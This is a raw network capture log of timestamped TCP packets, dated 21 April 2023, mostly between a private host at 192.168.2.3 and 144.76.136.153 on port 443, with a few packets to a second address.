Apr 21, 2023 01:05:07.909931898 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:07.909945011 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:07.909976959 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:07.909985065 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:07.910092115 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:07.910151005 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:07.986134052 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:07.986185074 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:07.986221075 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:07.986265898 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:07.986323118 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:07.986346960 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:07.986418962 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:07.986442089 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:07.986550093 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:07.986566067 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:07.986593008 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:07.986768007 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:07.986905098 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:07.986931086 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:07.986977100 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:07.987056017 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:08.195453882 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:08.195563078 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:08.599420071 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:08.599483013 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:08.599514008 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:08.599528074 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:08.599643946 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:08.599658966 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:08.599714994 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:08.599756956 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:08.719654083 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:08.719696045 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:08.719721079 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:08.719749928 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:08.719815969 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:08.719830036 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:08.719958067 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:08.719973087 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:08.720019102 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:08.720062971 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:08.720233917 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:08.720365047 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:08.720412970 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:08.720511913 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:08.931437969 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:08.931715012 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:09.359540939 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:09.359711885 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:09.523248911 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:09.523289919 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:09.523308992 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:09.523324966 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:09.523387909 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:09.523411036 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:09.523447037 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:09.523511887 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:09.609847069 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:09.609879017 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:09.609901905 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:09.609925032 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:09.610044003 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:09.610059977 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:09.610070944 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:09.610136986 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:09.610147953 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:09.610165119 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:09.610212088 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:09.610222101 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:09.610264063 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:09.610331059 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:09.610342026 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:09.610428095 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:09.610459089 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:09.815474033 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:09.815567970 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:10.259428024 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:10.259511948 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:10.280380964 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:10.280426025 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:10.280452967 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:10.280471087 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:10.280514956 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:10.280527115 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:10.280582905 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:10.280618906 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:10.368424892 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:10.368454933 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:10.368479013 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:10.368500948 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:10.368640900 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:10.368653059 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:10.368673086 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:10.368745089 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:10.368752003 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:10.368860006 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:10.368973970 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:10.368998051 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:10.369172096 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:10.579428911 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:10.580198050 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:10.995425940 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:10.995522022 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.037656069 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.037698984 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.037720919 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.037734985 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.037808895 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.037822008 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.037882090 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.037894011 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.037914991 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.037945986 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.119204998 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.119240046 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.119266033 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.119486094 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.119496107 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.119505882 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.119532108 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.119580984 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.119586945 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.119734049 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.119741917 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.119764090 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.119853020 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.119934082 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.327425003 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.327516079 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.697201014 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.697247028 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.697309017 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.697437048 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.697515011 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.784322023 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.784359932 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.784392118 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.784403086 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.784619093 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.784634113 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.784653902 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.784692049 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.784704924 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.784755945 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.784857035 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.784936905 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:11.991434097 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:11.991518021 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:12.431428909 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:12.431523085 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:12.451224089 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:12.451271057 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:12.451289892 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:12.451297998 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:12.451481104 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:12.451503038 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:12.451584101 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:12.567774057 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:12.567806959 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:12.567828894 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:12.567841053 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:12.568053007 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:12.568067074 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:12.568088055 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:12.568092108 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:12.568310976 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:12.568319082 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:12.568337917 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:12.568411112 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:12.568455935 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:12.568506956 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:12.568533897 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:12.779429913 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:12.779547930 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:13.199429989 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:13.199628115 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:13.287273884 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:13.287333965 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:13.287354946 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:13.287360907 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:13.287514925 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:13.287525892 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:13.287599087 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:13.381757021 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:13.381805897 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:13.381833076 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:13.381840944 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:13.382072926 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:13.382102013 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:13.382133007 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:13.382159948 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:13.382174015 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:13.382184982 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:13.382278919 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:13.382451057 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:13.382468939 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:13.382632971 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:13.587426901 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:13.587584019 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:13.999429941 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:13.999531984 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:14.116035938 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:14.116080046 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:14.116103888 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:14.116117001 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:14.116214991 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:14.116230965 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:14.116621971 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:14.216959000 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:14.216999054 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:14.217024088 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:14.217031002 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:14.217221022 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:14.217238903 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:14.217262030 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:14.217289925 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:14.217300892 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:14.217313051 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:14.217354059 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:14.217361927 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:14.217467070 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:14.217565060 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:14.423420906 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:14.423552036 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:14.863425016 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:14.863511086 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:14.952739000 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:14.952790022 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:14.952821970 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:14.952842951 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:14.952914000 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:14.952984095 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:14.953001976 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:14.953084946 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.045490980 CEST	443	49707	142.250.180.164	192.168.2.3
Apr 21, 2023 01:05:15.045625925 CEST	443	49707	142.250.180.164	192.168.2.3
Apr 21, 2023 01:05:15.045742035 CEST	49707	443	192.168.2.3	142.250.180.164
Apr 21, 2023 01:05:15.054147959 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.054197073 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.054229021 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.054236889 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.054405928 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.054424047 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.054445028 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.054472923 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.054481983 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.054492950 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.054541111 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.054552078 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.054625034 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.054750919 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.263426065 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.263561010 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.695441008 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.695574999 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.831181049 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.831224918 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.831248045 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.831262112 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.831324100 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.831422091 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.831437111 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.831548929 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.925061941 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.925095081 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.925117970 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.925122976 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.925312996 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.925327063 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.925395966 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.925404072 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.925431967 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.925437927 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.925457001 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.925462961 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.925487995 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.925494909 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.925503969 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:15.925556898 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.925651073 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.925717115 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.925767899 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:15.925811052 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:16.135459900 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:16.135912895 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:16.559458971 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:16.559962988 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:16.692934990 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:16.692989111 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:16.693011999 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:16.693028927 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:16.693137884 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:16.693155050 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:16.693217993 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:16.693262100 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:16.829997063 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:16.830043077 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:16.830074072 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:16.830097914 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:16.830183983 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:16.830197096 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:16.830288887 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:16.830300093 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:16.830336094 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:16.830355883 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:16.830362082 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:16.830380917 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:16.830679893 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:16.830758095 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:17.035445929 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:17.035573959 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:17.455423117 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:17.455519915 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:17.607589006 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:17.607631922 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:17.607650995 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:17.607665062 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:17.607741117 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:17.607752085 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:17.607798100 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:17.607831955 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:17.712526083 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:17.712573051 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:17.712600946 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:17.712622881 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:17.712727070 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:17.712743998 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:17.712826967 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:17.712838888 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:17.712867022 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:17.712908030 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:17.712908030 CEST	49697	443	192.168.2.3	144.76.136.153
